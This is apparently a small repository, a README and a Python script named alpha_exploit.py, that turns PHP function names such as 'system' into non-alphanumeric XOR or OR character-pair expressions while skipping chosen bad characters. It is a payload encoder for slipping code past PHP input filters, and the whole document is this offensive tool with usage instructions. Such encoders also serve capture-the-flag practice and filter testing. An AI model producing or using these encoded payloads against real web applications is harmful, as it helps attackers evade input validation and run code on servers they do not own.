├── README.md └── alpha_exploit.py /README.md: -------------------------------------------------------------------------------- 1 | #usage:
2 | 3 | 4 | usage: alpha_exploit.py [-h] payload encoder badchar
5 | 6 | eg:
7 | 8 | python alpha_exploit.py system xor "\\'" 9 | -------------------------------------------------------------------------------- /alpha_exploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import string 4 | import argparse 5 | 6 | class php_encoder(): 7 | 8 | def __init__(self,**kwargs): 9 | print("="*60 + " mucomplex " + "="*60) 10 | self.symbolic_list = string.digits + string.printable[62:94] 11 | self.payload = kwargs.get('payload') 12 | self.method = kwargs.get('method') 13 | self.badchar(kwargs.get('badchar')) 14 | self.counter=0 15 | self.xor_list = [] 16 | self.or_list = [] 17 | self.php_encoder() 18 | 19 | def badchar(self,badchar): 20 | for char in badchar: 21 | self.symbolic_list = self.symbolic_list.replace(char,'') 22 | 23 | def php_encoder(self): 24 | while(self.counter != len(self.payload)): 25 | try: 26 | for x in self.symbolic_list: 27 | for y in self.symbolic_list: 28 | if(self.payload[self.counter] in self.symbolic_list): 29 | self.xor_list.append("\"" + self.payload[self.counter] +"\".") 30 | self.or_list.append("\"" + self.payload[self.counter] +"\".") 31 | self.counter += 1 32 | break 33 | elif(chr(ord(y) ^ ord(x)) == self.payload[self.counter] and self.method == 'xor'): 34 | self.xor_list.append("('"+x+"'^'"+y+"').") 35 | self.counter += 1 36 | #break 37 | elif(chr(ord(y) | ord(x)) == self.payload[self.counter] and self.method == 'or'): 38 | self.or_list.append("('"+x+"'|'"+y+"').") 39 | self.counter += 1 40 | #break 41 | except: 42 | None 43 | self.print_output() 44 | 45 | def print_output(self): 46 | if self.method == 'xor': 47 | print(''.join(self.xor_list)[:-1]) 48 | if self.method == 'or' : 49 | print(''.join(self.or_list)[:-1]) 50 | 51 | parser = argparse.ArgumentParser() 52 | parser.add_argument("payload", help="input payload") 53 | parser.add_argument("encoder", help="xor or") 54 | parser.add_argument("badchar", help="including badchar") 55 | args = parser.parse_args() 56 | make = php_encoder(payload=args.payload,method=args.encoder,badchar=args.badchar) 57 | --------------------------------------------------------------------------------